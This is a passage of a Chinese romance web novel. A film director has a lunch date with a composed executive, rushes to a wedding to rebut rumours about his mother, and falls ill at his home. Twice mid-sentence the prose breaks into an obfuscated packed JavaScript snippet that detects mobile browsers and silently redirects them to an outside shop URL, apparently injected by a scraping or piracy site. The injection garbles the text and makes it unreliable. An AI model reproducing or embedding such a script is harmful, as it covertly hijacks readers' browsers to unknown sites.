裴伊回得很快:“美感是另一个维度的事。落日很美,但我知道那是光线散射。音乐很美,但我知道那是声波振动。美感和原理不冲突。理解原理不会剥夺体验,反而能让体验更完整。” 江逢灯笑着说:“你的逻辑很严密,我几乎要被你说服了。” 裴伊看了她一眼,听出她有未竟之语。他只需等待。 江逢灯诚实地说:“其实我自己在片场,为了引导演员进入情绪状态,也会使用类似的方法——特定的光线、音乐、台词、甚至是对手演员的眼神……确实,许多强烈而真实的感受,是可以在特定情境下被触发和制造的。” “但是裴伊,我可能比较固执,或者说,比较愿意上当。比起‘一切强烈的情感体验归根结底都是可被制造和拆解的幻觉,因此不值得投入’,我宁愿选择相信,在某些时刻,有些东西——哪怕只是其中的一部分——是真实的。哪怕这种真非常脆弱,哪怕它最终会流逝或变形,但‘它存在过’这个事实本身,对我而言,就构成了意义。” 裴伊在沉默,江逢灯想看看他的表情,可正好车子驶过一条长长的隧道,光线暗了下来。江逢灯戴着墨镜是为了遮挡阳光,如今失去阳光,她却又不满意。生活是世事都是这样,得到前不惜力气,得到后又怨不逢时,可哪有那么多的时候正好呢。 当车子重新驶入日光下时,裴伊依然端正握着方向盘。 他的目光落在前方延伸的路面上,用平静语调说:“江小姐,看来你的确很喜欢那个人。” 江逢灯搞不清楚话题是怎么换到这里来的:“什么意思?” 裴伊的声音没有波澜:“洞察所有可能解构爱的路径,明了其中虚幻的风险,明知不可信还要继续相信,清醒地沉沦——这需要很强的信念。或者说,很深的感情。” 江逢灯无比庆幸自己戴着墨镜。 她最终只是几不可闻地应了一声,将脸更转向车窗,让这个话题无声地滑过。 3. 主题 车子停在写字楼下的临时停车区时,江逢灯才后知后觉感到一丝不好意思。 这顿饭吃得实在算不上体面——她饿大劲儿了。 先前工作状态时还不觉得,进了店闻到了食物的味道后,理智全线溃败,点菜时恨不得把菜单都勾一遍。 裴伊在她点完后接过平板,删了几道含花生或其它坚果酱的才确认下单。 等菜上齐,江逢灯连客气话都顾不上说,埋头就吃。 裴伊全程没打扰她。 吃到十二分饱,江逢灯抽空喝了口水,人已经撑到开始放空,放空后又不受控地看裴伊,看了一会儿裴伊后理智猛地归位,有点赧然:“啊!我是不是吃相太凶了?” 裴伊说:“没有,你只是饿了。饿了吃饭,天经地义。” 这话说得让江逢灯那点不好意思消散,转为理直气壮,于是她理直气壮地笑、理直气壮地吃、理直气壮地用公筷给裴伊夹了筷菜。 夹完才想起,裴伊是个不爱被安排的人,包括被安排吃什么。 于是理也不直、气也不壮…… 江逢灯正要说抱歉,却见裴伊已经吃掉了。 走出餐厅时已经快下午三点。 江逢灯坐进副驾,舒了口气:“活过来了。” 裴伊看她一眼:“你经常这样不吃饭?” 江逢灯靠着椅背,闭着眼:“忙起来就忘了。等想起来的时候,要么饿过头没感觉了,要么就是现在这样,能吃下一头牛。” “不健康。” 她睁开一只眼看他:“我知道。裴总要给我优化日程了?” “已经在考虑了。” 江逢灯笑起来,没再接话。 车里放着纯音乐,旋律舒缓,她听着,有点昏昏欲睡。 开到工作室楼下时,江逢灯才彻底清醒。 她解开安全带,准备说几句感谢的话,话还没出口,车头前走过一个人。 江逢灯想也没想就按下车窗,探出头喊:“欸,董森之!你等我会儿!” 那人回头,是个高个子男人,穿着件宽松的黑衬衫,头发有点乱,像是刚睡醒随手抓的。 六月的天气,应当是温度正好,董森之脸上却没什么表情,直到看见江逢灯,才很轻地笑了一下。 笑容短暂,还没等人看清就散了—— 因为他隔着江逢灯看见了裴伊。 董森之朝车子走过来,步子迈得大,边走边说:“快点儿,就等咱俩了。” “知道了知道了。”江逢灯也急,拉开车门就要下去,想起什么又回头对裴伊说,“拜拜!今天谢谢你!” 裴伊点了点头,目光扫过已经走到副驾的董森之,又落回江逢灯脸上:“注意休息,把你助理的微信推给我。” “好!”江逢灯应得干脆,关上车门就朝董森之跑过去。 裴伊看着她的背影。 她跑向那个男人,两人并肩往楼里走,董森之的手在她后背上拍了一下,像是催促,又像是已经做过很多次的习惯性动作。江逢灯侧头跟他说什么,语速很快,手还比划着。 直到两人消失在玻璃门后,裴伊才收回视线,驶离了这里。 江逢灯被董森之拽着往电梯走。 “你怎么才来?” 江逢灯揉了揉太阳穴:“你不也才来?” 董森之侧头看她,“你吃饭了吗?” “刚吃完。” “跟裴伊?” 江逢灯愣了一下,没想到董森之会直接认出裴伊,但还是点头:“嗯。” 电梯到了,两人走出去。 走廊里很安静,地毯把脚步声被吸得干干净净。 董森之没再问,江逢灯也没再说。 她们认识很多年了,在法国读书时就是同学,住过同一栋公寓楼,在同一个咖啡馆赶过作业。 江逢灯在法国拍的第一部短片,摄影师就是董森之,她们在巴黎的街头巷尾拍了一个冬天。 那片子的成片只有二十七分钟,却在次年的戛纳电影节上,拿下了短片单元的桂冠,她们一起站在过领奖台上。 后来毕业,两人走了不太一样的路。 江逢灯偏爱捕捉瞬间情绪的自然主义风格,各路奖项的评委用钟爱她镜头下的感性穿透力,这让她获得法国电影圈的支持,一路过关斩将。 董森之则沉迷于技术层面的炫技——长镜头、复杂的场面调度、让人眼花缭乱的视觉把戏。 这深受美国影评人的青睐,他的一部200分钟的一镜到底,在电影节上获得的评审团特别奖,将董森之推向技术的神坛。 那一年,两人的名字以截然不同的姿态,分别在大西洋两岸最挑剔的舞台上留下刻痕。 可走到现在却没什么差,因为现实很快教会她们,现在已经和三十年前不一样,纯粹的自我表达养不活团队。 于是二人都开始接商业片,拍广告,拍能赚钱的东西。 江逢灯现在手头在筹备的《无声火》是部科幻题材的商业大片,她是总导演,董森之推掉了另一个项目的邀约,自降身份来给她当B组导演。 江逢灯推开会议室的门,里面坐着四五个人。制片人看见二人一块儿,抬了抬手:“江导,董导。” “抱歉,久等了。”江逢灯拉开椅子坐下,董森之坐在她旁边。 会议开了两个小时。 讨论预算,讨论拍摄进度,讨论演员档期。江逢灯吃饱了饭正有力气,全程高度集中,语速快,决策果断。 结束时已经快六点。 制片站起来,拍了拍江逢灯的肩膀:“江导,这片子压力不小,您多费心。” “应该的。”江逢灯笑笑。 其余人陆续离开,会议室里只剩下她和董森之。董森之靠在椅背上,闭着眼像是累了。 江逢灯正收拾桌上的资料,却听见他问:“你跟裴伊在一块儿了?” 她动作没停:“干嘛问这个?” “他看着不像你会喜欢的类型。” 江逢灯笑了:“那我应该喜欢什么类型?” 董森之睁开眼,看向她:“不知道。但肯定不是那种一脸‘离我远点’的类型。” 江逢灯把资料塞进包里:“他人挺好的,而且我接了他的项目,给他导他公司的宣传片。” “你没否认跟他在一块儿了。” 江逢灯把记忆往回倒,确实没否认,但不知道该怎么否认、又没法承认,毕竟这关系不是还在考虑阶段么?急得她直挠头,挠完茅塞顿开——这事儿跟董森之又没关系! 于是她小发雷霆:“你别揪我的话!” 董森之知道她性格,的确没再揪,站起来活动了一下肩膀:“晚上去片场看看?” “去。布景应该搭得差不多了,得去看看效果。” 两人一起走出会议室。走廊的灯已经亮起来,暖黄色的光,江逢灯走着走着,突然说:“董森之。” “嗯?” “一直忘了说,谢谢你来帮我。” 董森之看她一眼,脸上没什么表情:“少来这套,我是为了钱。” 江逢灯笑了:“知道你是为了钱。” 两人正聊着呢,江逢灯手机就响,是葛瑞思。 她那边的背景音里混着婚礼进行曲。 葛瑞思的声音压得很低:“光光,我在我表妹婚礼上,你猜怎么着,裴伊跟我一桌!要不我给我表妹使个眼色,待会儿带人轮番给他敬酒,灌个半醉,然后你过来把他接走,怎么样?姐妹来助力你的一夜春梦!” “那怎么行!”江逢灯想也没想就驳回,脚步却不由自主加快,“地址发我!” 葛瑞思那边立刻报了个地址,还没来得及吐槽她这口嫌体正直的反应,一个带着醉意的男声突然插缝出现,语气亲热:“这不是裴少吗?稀客稀客!前两天伊主任那新闻怎么回事啊?真像网上传的闹出人命啦?那这就给压下去啦?裴少您给说说。” 江逢灯脚步突然停下,伊阿姨的新闻?她完全没听说。 她一停下,惹得董森之也跟着停下,不解看她。 电话那头,葛瑞思也没忍住,爆了句粗口:“我超……真的假的……” 江逢灯瞬间回神:“葛瑞思,你替我看好他,别让混蛋欺负他!我马上到!”说完就挂了电话,转头看向身旁的董森之,手一伸:“把你的车钥匙给我,我车被小吴开走办事去了。” 董森之只听到了她对着电话的焦急语气,虽然不明就里,但看她神色紧绷,二话没说就把钥匙递了过去。 他自己则准备用手机叫车。 江逢灯一把拽住他胳膊就往停车场跑:“我先送你回家!” “你要去哪儿啊?”董森之被她拽得一个趔趄。 “新都的那个草场庄园。” “那也不顺路啊。” “方向盘在我手上,我说顺路就顺路!”江逢灯拉开车门,把他塞进后座,“哪有抢了你的车,还让你自己打车的道理!” 董森之看着她迅速坐进驾驶座,知道拗不过她,无奈地扯了下嘴角:“行,您说了算。” 江逢灯开得又稳又快,间隙里,她透过后视镜看了董森之一眼,董森之和国内媒体的关系比她密切,她问:“你听说过前两天关于伊雪晴的新闻吗?” 董森之正在看手机,闻言抬头:“听了一耳朵,假的。” 江逢灯眼睛一亮:“展开说说!” “十几年前的老黄历了,有病人自己在外头乱买药吃出了问题,家属想讹医院。当时就调查清楚了,和伊雪晴和医院都没关系。不知道谁又把这陈年烂账翻出来,估计没给够钱,导致连个热搜都没蹭上。” “那你能帮我搞到澄清证据吗?”江逢灯追问。 董森之从后视镜里看着她问:“你是为了谁这么上心?” 江逢灯依旧看着前方路况:“为了正义!” “少放狗屁,不说实话我不帮。” 江逢灯急了:“你管我是为了谁,你就当是为了我行不行?!” 董森之深深看了她一眼,还真就没再问,开始不知道给谁发消息,几分钟后对江逢灯说:“等着,很快。” “谢了谢了。”江逢灯松了口气。 把董森之送到他家小区门口时,董森之的手机震动了一下,他看了一眼,把一份电子文档发到了江逢灯微信上:“你要的东西,原件扫描,带公章。” 江逢灯匆匆扫一眼,确认了有用,心头大定:“回头请你吃饭!” 董森之下了车,弯腰透过车窗看着她:“开车小心点。” “知道!”江逢灯挥挥手,车子立刻调头,朝着婚礼方向疾驰而去。 - 赶到灯火通明的郊外庄园时,天色已近全黑。 草坪上点缀着串灯和烛台,婚礼晚宴正酣,音乐悠扬,但江逢灯无暇欣赏,她循着葛瑞思之前发的桌号位置,穿过欢声笑语的人群,朝着相对僻静一些的角落长桌走去。 这一桌的外围站着两名安保人员,显然是有人提前打过招呼,为了确保这桌客人的清静与安全,也变相划出一道界线,让其他想看热闹的人知难而退。 这道界线并不能阻隔无形的刀剑。 桌边氛围僵冷,与周围浪漫欢愉的婚礼格格不入。 江逢灯还没完全走近,就听见争执声已经传来。 油滑的男声不依不饶:“裴少,别不说话啊,大家也是关心嘛!伊主任当年那事儿,到底怎么平掉的?你就当给兄弟们传授传授经验呗!” 他身边围着两三个同样面色泛红的同伴,发出低低的哄笑,显然是一伙的。 挑事的男人叫袁锵,袁家的酒店集团近年来崛起,势头挺大。其产业与裴家是竞争关系。 裴家虽然势大,但树大招风。袁家觊觎裴家的地位和人脉,但又无法面对面掰手腕。 可惜袁锵沉不住气,婚礼是喜庆场合,他会误以为在这样的场合下,即使言语出格,裴伊为了不给主人家添堵也会忍让。加上酒精壮胆,便促成了他鲁莽的挑衅。 翻出旧闻当众发难,既是报复,也是想令裴伊失态。 周航气得脸红脖子粗,不停帮裴伊反驳,可惜他嘴笨,翻来覆去就是那几句,抵不过对方人多嘴杂。 裴伊却一直没回应。 葛瑞思本来该保持中立,毕竟这是她表妹的婚礼。但她受江逢灯之托,不知不觉就和周航站到了一边。站边久了,听着那些越来越不堪的含沙射影,她也憋了一肚子火。 江逢灯越走越近,听到葛瑞思咬牙切齿:“再叭叭信不信老娘一巴掌给你们扇回娘胎里,你们这群贱人!” 裴伊坐在那里,却仿佛感应到什么,抬头,几乎在江逢灯出现的瞬间就看到了她。裴伊眼中闪过意外,立刻站起,就要朝江逢灯走来。 然而江逢灯冲得更快,跟个导弹一样,无视安保就发射了进去。 她顾不上理会全桌人或诧异或看好戏的目光,在葛瑞思的尾音里,响亮地接了一句:“贱人!” 这一声骂得干脆利落,带着一路疾驰而来的喘息和怒意,切割桌上虚伪的暗流。 正准备接她的裴伊,硬生生停住脚步,震惊的神色来得快去得也快。他低下头,握拳抵在唇边,成功地掩饰住了嘴角的笑。 “你谁啊?”袁锵被当众骂了,面子挂不住,涨红了脸站起来。 江逢灯没理他,先扫了一眼裴伊,确认他完好无损,然后转向那男人,抬起下巴:“你现在打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026093|194411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开手机看热搜。” 她语气斩钉截铁,桌上人都摸出了手机,连周航和葛瑞思也将信将疑地低头操作。 热搜榜往下翻,一条由权威媒体发布的澄清新闻在列,标题明了,直接针对日前关于伊雪晴的不实传闻,附带了当年详细的调查结论和证据截图,公章清晰,时间线明确,结论无可辩驳—— 所谓事故,其实与伊雪晴及所在医院无任何责任关系,纯属患者个人行为所致。 袁锵的脸白了白,强撑着:“这,这能说明什么?谁知道是不是……” “说明你连做功课都没做明白,就敢出来吠!”葛瑞思 又跟一句。 裴伊自始至终都没有看手机,更没有看袁锵。 他的目光只落在江逢灯身上,看着她额头细密的汗珠,看着她被晚风吹起的发梢,看着她因为奔跑而起伏的胸口。 “赶过来的?”他问。 江逢灯点点头,气息还没完全平复。 晚风带来青草和食物的香气,却吹不散她心头的火气。 江逢灯头上戴了顶鸭舌帽,一路风驰电掣,气往脑门儿上顶,帽子有点戴不住了,索性伸手把帽子摘下来扇扇风。 裴伊朝她伸出手——意思是帮她拿帽子。 但江逢灯误会,下意识就把自己的手放了上去。 他的手干燥微凉,她的手却因为一路紧张和奔跑而汗湿温热。 “你别怕。”江逢灯还握紧了他的手,看着他的眼睛,认真地说。 裴伊先是因她的动作而出神,不自觉看着二人牵住的手,又因她的言语而觉得好笑,一张一弛间,由江逢灯引起的一丝忐忑又被江逢灯自己化解。 裴伊感受着掌心传来的温度和力度,又看了看她的脸,手指收拢,回握了一下她汗湿的手,反问她:“我怕什么?倒是你,这么紧张干什么?” 江逢灯依旧认真:“我不想他们攻击你和阿姨。” “他们的攻击我不在乎,我母亲更不会在乎。跟这些人浪费时间和口舌,不值得。” 江逢灯语气执拗:“可是我在乎,我不允许别人冤枉你冤枉阿姨。” 又想起自己赶到的时候,看到裴伊手足无措的坐在那里任人欺辱!回忆起来都心如刀绞! 她忍不住:“你怎么就在那里乖乖让别人欺负啊!你怎么不知道给我打个电话啊!” 那‘手足无措、任人欺辱’的裴伊,凑近江逢灯耳边,用只有两人能听到的声音说:“乔可也查完了袁家旗下酒店近三年的采购账目和消防记录,漏洞不少。本来打算等婚礼结束,再请袁少去聊聊的。你这一下,打乱了我的节奏。” 江逢灯愕然抬头,对上他近在咫尺的,带着戏谑笑意的眼睛。 他根本不需要她这样冲过来保护。 他早就布好了局,甚至已经在收网的路上了。 江逢灯小声问:“哎,那我这样是不是有点没素质?我是不是打乱你计划了?” “没素质?”裴伊重复了一遍,似乎觉得这个词很有意思,“是有点。” 江逢灯脸一热,就想把手抽回来,结果裴伊没放。 裴伊带着明显的笑意,“我欣赏你的没素质。以直报怨,比虚与委蛇可爱多了。” 江逢灯被他这句可爱说得心头一跳,嘴上却犟:“谁要你觉得可爱了!” 裴伊依然看着她,眼神里面惯常的冷静也依然在,但他此刻像是在面对一个无法理解,所以想去进行剖析的复杂问题。 江逢灯此刻的反应——急切、维护、紧张——落在他的分析里,是一个无法归因的变量。 他并非无动于衷,只是那份“动”暂时无法准确对应到所属的频道。 于是,问题又绕了回来。 他需要厘清这个变量的逻辑。 所以他问:“为什么?” “什么为什么?”江逢灯还没从自己那澎湃的情绪里抽离。 “为什么你在乎,为什么你不允许别人冤枉我、冤枉我母亲?” 为什么这么激动? 为什么赶过来? 为什么卷入他人的麻烦? 他的语气平静,只有探究, 但却让江逢灯一下哏住,变得无所适从起来。 为什么? 答案呼之欲出——因为她喜欢他。 江逢灯眼神飘忽,看向远处闪烁的串灯:“我……那个……因为……” 在她支支吾吾的时候,葛瑞思及时挤了过来,一把揽住江逢灯的肩膀,对着裴伊笑嘻嘻打圆场:“哎呀裴总,这还用问?因为江逢灯就是这样一个滥好人,路见不平拔刀相助,你别问了,她对人好不需要理由的!习惯就好,习惯就好!” “滥好人。”裴伊重复了一遍这个词。 这个词提供了一种性格特质、一种行为模式。 逻辑上说得通,虽然他觉得仍然值得商榷,但没再继续追问,只是将这个观察连同“滥好人”这个标签,一并收纳进他对江逢灯的认知里。 江逢灯趁此机会,从裴伊手中抽回自己的手,假装被晚风吹得捋了捋头发,心脏还在砰砰狂跳。 她偷偷看了葛瑞思一眼,眼神里是感谢。 裴伊转而看向那群人,语气恢复疏淡:“看来各位对旧闻很有兴趣。不过今天是婚礼,还是多关心新人比较好。各位尽兴,我们就不打扰了。” 说完,他对葛瑞思也点了点头:“葛小姐,谢谢。我们先走一步。” 周航忙喊了一句“我跟你一块儿走”,被裴伊打了个手势止住脚步。 江逢灯被裴伊半带着转身,晕乎乎地跟着他穿过草坪上的人群,朝着停车场走去,甚至忘了跟葛瑞思道别。 江逢灯边走边问:“对了,你不是说今天没安排了吗?怎么还有婚礼要参加。” 裴伊和她并排走着,语气平淡:“就是因为原本没安排,才临时被叫来当代表的。新郎家的集团,和我父亲的酒店业务有长期合作。我父亲抽不开身,让我替他来露个面,算是给足面子。” 江逢灯哦了一声。 裴伊突然抬起手,不是握她的手,而是用指背蹭了一下江逢灯额角即将滑落的一滴汗珠。 “有汗。”他简短地解释,收回手。 远离了宴会区域的喧嚣,只剩下脚下沙沙的草声和远处的音乐。 夜风带着凉意,江逢灯终于感觉脸上的热度降下去一些,她拽了一下裴伊,再指了指另一个方向:“不用送我啦,我开车来的,在那边。” 她指的是董森之那辆颇为醒目的越野。 裴伊立刻往她指的方向走去,语气理所当然:“我没开车,那换你送我吧。” 江逢灯看着停在不远处的裴伊的车:“……?” 4. 故事梗概 车子驶出草场庄园时,江逢灯还在想该往哪个方向开。 她问裴伊:“回桐园?” 桐园离这里不算远,大概一小时车程。 裴伊系好安全带:“辛苦江小姐,送我回裴家吧。” 江逢灯两眼一黑,从这儿到裴家,少说也得三个小时。 她看了裴伊一眼,他靠在副驾驶座椅上闭着眼睛。 江逢灯把想问的话咽回去,拐上了高架。 北京并不是一座有夜生活的城市。 但现下,高架桥像一条发光的河,载着零星的车流向各处散开,看起来有种散漫的热闹、离群的喧嚣。 江逢灯开了半个小时就有点晕,今天从早到晚连轴转,刚才在婚礼上又情绪激动了一番。工作狂是这样的,陀螺只要转起来了,那就百病全消,但现在停下了,反而觉得浑身乏力。 她摇下车窗,让风灌进来。 裴伊不知什么时候睁开了眼睛:“换我来开吧。前面出口下去,靠边停。” 江逢灯乖乖照做,涉及两个人的安全,她不会逞能。 她刚解开安全带,裴伊已经下了车,绕过车头走到她这一侧,替她拉开车门,朝她伸出手。 江逢灯借着路灯的光看他,选择握住他的手,借力下了车。 两人交换位置重新上路后,江逢灯靠在座椅上,很快就睡了过去。 等到江逢灯再睁开眼时,先感受到的是轻飘飘的眩晕,像躺在棉花里,也像刚从水里被捞上来。 视线模糊了几秒才聚焦——这不是她的住处。 右侧,输液架立在床边。 虽然下午的时候江逢灯就觉得自己喉咙发干,可能是感冒,但没想到会这么恶劣——也并不是病情真的有多恶劣,而是被人从车上转移到床上还扎了针,她本人对此居然完全没反应? 她对自己很失望! 房门被轻轻推开,一个五十岁左右的阿姨端着托盘走了进来,看见江逢灯已经坐了起来,诶了一声,“哎呀,醒了?”阿姨把托盘放在桌上,过来先探了探江逢灯的额头,“烧退了,感觉怎么样?喉咙痛不痛?” 一连串关切的询问暖烘烘的,江逢灯下意识地回答:“好多了,就是有点没力气……您是?” “我姓张,您跟着裴伊叫我张姨就行。”张姨很和蔼,说自己是一直在裴家干活的阿姨,裴伊也是临时叫助理把自己接来桐园,说来照看一下江逢灯,“衣服是我给您换的。” “别别别张姨,喊我名字就行。”江逢灯被敬语称呼得有点尴尬,想摆手、又因为在吊水而不敢轻举妄动。 “那我就喊你江小姐?” 江逢灯点头:“好好好。” 听张姨说完,江逢灯才发现自己身上的衣服被换了,也才发现这间房不是自己睡过的那间客房,而是主卧。 张姨又端起碗,“先把梨汤喝了。” 江逢灯右手接过,还是忍不住问:“张姨,裴伊呢?” “裴伊还在那头工作呢。” 江逢灯点点头,纠结再三又问:“我怎么睡的是这间房啊?” “抱歉。”男声从门口传来,替张姨接了话。 江逢灯端着碗的手一抖,差点把梨汤洒出来。 裴伊不知何时站在了门边,头发看起来有些湿,像是刚洗过澡。他走进来,带着点揶揄继续,“这边只有两间房,客房得让给张姨睡。委屈委屈江小姐,在主卧将就一晚上吧。” 张姨听着忍不住笑。 江逢灯被笑得很尴尬,只好狠狠瞪向裴伊,想从他脸上找出戏弄,但他眼神清澈,表情坦然。 “裴伊。”张姨替她笑着怪了一句,又对江逢灯解释,“放心,四件套我都换过了,是干净的。” 裴伊对张姨说:“张姨,你去休息吧,这边我来。” 张姨应该和裴伊很亲近,喊他都是直接喊名字,此刻也没客气:“那江小姐你好好休息,有什么事就叫裴伊,或者到隔壁叫我。”说完,又对裴伊叮嘱了一句别熬太晚,便拿过江逢灯喝完的碗出去了。 房间里只剩下她们两人,裴伊看着输液袋滴得差不多了,拉过她的左手替她拔针。 江逢灯缩了下手指。 裴伊看她:“疼?” 江逢灯摇头,把手指又伸了回去。 “按一会儿。”他把她的手连同棉球一起握了握,示意她自己压住。 江逢灯默默按着棉球。裴伊收拾妥当,洗了手回来,对她示意了一下床的另一侧,“换到这边来睡,你现在这边估计汗湿了,再睡容易着凉。” 江逢灯乖乖挪到床的另一半躺下,她不知道原来裴伊这么会照顾人,柔软之下还是忍不住问:“你怎么带我来这儿了?” 裴伊这次抱歉得就很真情实感:“我竟然不知道你住在哪里,这是我的不对。” “这有什么好抱歉的?”江逢灯觉得有点好笑,“你不知道我住在哪里不是很正常吗?我们又没……又没熟到那种程度。” 裴伊点点头,认可她的前半句:“以前很正常,但现在应该是不对的。” “为什么?”江逢灯不解。 裴伊那双总是善于分析的眼睛里,此刻映着床头灯温暖的光点,显得有几分迷茫。 “我们以结婚为目的进行了第一次约会,彼此评估合作的可行性。在这个前提下,我身为你的约会对象,却在你身体不适时,不知该如何安全地送你回家,甚至不清楚你的住址。这实在是不合格。” 他带着歉意在分析,江逢灯听得却觉得他可爱,心里那点因为睡在他床上而产生的旖旎心思也被冲淡了。 她忍不住笑,虽然笑声有点气短,“你不用这样。我们这约会,跟普通的约会不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026094|194411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你不用拿那些标准来要求自己。” “哪里不一样?约定共同进餐,观察彼此习惯,确认相处是否舒适,这些步骤,无论是出于情感目的的约会,还是出于合作目的的评估,本质行为是相似的。那么,相应的责任和义务标准,也应当趋同。至少,确保对方在身体不适时的安全,是基础项。” 江逢灯被他绕了进去,一时找不到话来反驳。 好像有点道理?但总觉得哪里怪怪的。 江逢灯躺在干燥的被褥间,脑子渐渐清朗起来,但是清朗错了方向,她眼神灼灼:“不说这些了!你困吗?不困的话要不我们来对一下工作吧,那个宣传片的剧本我觉得可以定了。识别美的过程,我打算强化‘否定-修正-再否定’的算法迭代,让它更像一场孤独的学习和觉醒,而不是简单的发现。最后那个‘美’的瞬间,我想用实拍。AI生成部分负责铺垫混沌和寻找的过程,实拍负责答案的震撼。你觉得呢?” 裴伊沉默了几秒,脸上罕见的出现了困惑:“江导,你现在体温刚退到38度以下,手背上针眼还没愈合,要这么敬业吗?Pupil的公关部是不是该给你发面锦旗?” 江逢灯随口应道:“那你学学我,你也敬业一点好吗?早点定下来,你那边团队才好开始训练模型和生成测试镜头啊。把那边那个笔记本借我用用。” 裴伊要被她气笑,但看着她眉头紧锁,估计不严肃以待也不行,只能拉着椅子过来坐下,以最快速度和她对完。 最后,“可以了。现在,你需要保存文档,然后闭上眼睛。” 江逢灯长舒一口气,迅速保存好文档,把电脑放在一边,自己再滑进被子里,只露出眼睛看着裴伊,还伸手比了个OK。 裴伊准备要继续噎她几句,却被手机来电打断,他看了一眼联系人却没有立刻接。 “你休息吧。我会定时进来看看你,你如果还有哪里不舒服,也随时给我打电话。” 江逢灯点点头,看着他走出卧室带上了门。 躺在裴伊的床上,江逢灯明明身体疲惫,脑子却异常活跃,睡意全无。 心里涌起一股不合时宜的甜蜜,混杂着生病带来的虚弱,像温吞的水。 躺了许久依然毫无睡意,喉咙还有点干痒,江逢灯掀开被子下床,踩在柔软的地毯上,走到书桌边,拿起自己的手机看了看时间,是凌晨三点多。 喝了口水后,她慢慢踱到窗边。 窗帘紧闭,将外界隔绝。 江逢灯轻轻拉开一点缝隙,这应该是一整面落地窗,窗外对着一片湖,配合沉静的深蓝色夜幕,简直上下同景,路灯的光带像分割线。 桐园的夜景很美,湖水无声,映着不变的灯光。 夜色正浓,离天亮还有一段时间。 灯下站着一双人,江逢灯认得裴伊身边的那个人,是伊瞧。 5. 大纲 早上七点,闹钟是冷酷无情的监工,准时在江逢灯耳边炸响。 她从睡眠中挣脱,刚醒时依然没分清自己身在何处,但昨晚的记忆很快就汹涌回笼。 深吸一口气,鼻腔里还是那股清冽的属于这个房间的气息。这气息曾让她暗自窃喜,此刻却提醒她所处位置的尴尬与界限。 江逢灯掀开被子坐起,动作带着点刻意为之的干脆。 “江小姐醒啦?正好,早饭马上好。”张姨招呼,“裴伊也刚锻炼完回来。” 话音刚落,裴伊就走了进来,“还有哪里不舒服吗?” “没事了。昨晚麻烦你了,还有张姨。” “吃早饭吧,吃完我送你。” 江逢灯摆手:“不用不用!董森之的车还得还他。你忙你的。” 裴伊点点头,没坚持。 北京的早晨有一种忙碌但有序的调调,阳光透过高楼间隙洒下,带着属于白日的气息。 江逢灯的心情却与这明亮的晨光格格不入。 一路上,昨晚的画面不受控般在脑海里反复回放。 她那时身处裴伊私密的空间,却像个误入禁地的偷渡客。 她是有一点点疑问,一点点难过,一点点不安,一点点为难,一点点失落。 但又觉得,自己连住址都没被对方记住,只是一个还在评估阶段的合作对象,没有资格因为看到裴伊和另一个合适的人在深夜湖边交谈,就感到难过的。 可是…… 理智的小人在脑海里尖叫:裴伊和谁见面、和谁说话,跟你有什么关系? 可情感的那一部分早已溃不成军。 在溃不成军的最后一刻,她忽然想到,自己比伊瞧更合适裴伊的唯一一点,就在于自己不爱裴伊,并且承诺不会爱上他。这保证了关系的干净,符合裴伊对最优解的需求。 于是所有的那些“一点点”,在集赞成一场情绪风暴时,被江逢灯用强大的理智按了下去。 她不能让情感奔泻,那是自毁长城。 她需要非常理智。 江逢灯将车窗降下一些,让清晨的风灌进来,吹乱她的头发,也吹散心头乱麻。 回到工作室时还不到九点,里面已经热火朝天。 小吴顶着一头乱发冲过来:“十点跟视效团队开第三幕的复盘会,下午一点《电影周刊》的专访,两点半要去棚里看男二和女三的对手戏排练,晚上七点……” 江逢灯一边脱下外套扔在椅背上,一边接过小吴递过来的美式猛灌一口,“知道了。”她打断小吴的报菜名,“先把昨晚我发你的新分镜给董导看看,让他提意见。视效复盘会的材料准备好没有?上次他们交过来的效果太假了……” 她脚步不停,投入工作的江逢灯是另一个人。那些关于裴伊的纷乱思绪,被压缩打包扔进角落。全部注意力都在抛过来的一个又一个亟待解决的问题上。 《无声火》是一部投资不小的科幻商业片,特效镜头多,场景搭建复杂,演员档期紧张,还有来自资方和平台的各种建议需要平衡。 作为总导演,她更是最终责任承担者。 忙碌是她最好的铠甲,也是最有效的麻醉剂。 时间被按了快进。一天,两天,三天……转眼竟快一周过去。 这一周里,江逢灯成功用高强度的工作,消耗掉绝大部分精力,也封印那些不该冒头的情绪。 直到周五晚,《无声火》剧组转场到京郊拍摄几场外景夜戏。 连续熬了两个大夜后,拍摄终于告一段落,江逢灯谢绝团队去吃宵夜的邀请,独自回到了剧组下榻的酒店。 忙碌的铠甲暂时卸下,被刻意忽视的一切找到了缝隙,悄然漫溢。 江逢灯走到迷你吧前,看了一眼里面的饮料,还是决定让酒店服务送酒过来。 心情处于踩空状态、但又不曾结结实实摔下去,没摔下去的原因又好像是因为脖子上有根绳子——总之这样的心情适合喝威士忌。 酒很快送来,酒精也很快发挥了作用,理智的堤坝更是很快就变得松软。 江逢灯点开裴伊的聊天窗,聊天记录还停留在一周前,她推过去的小吴的名片。 酒壮怂人胆,她喝了快一瓶,才敢打字过去问;“我们的第一次约会你觉得怎么样,觉得我们俩合适吗?相处得来吗?” 她发完,直到她把自己喝睡过去,裴伊都没回。 第二天早上七点,江逢灯被闹钟叫醒,迷迷瞪瞪摸到手机。 裴伊回了消息,时间是凌晨两点,就一句话:“我觉得不怎么样。” 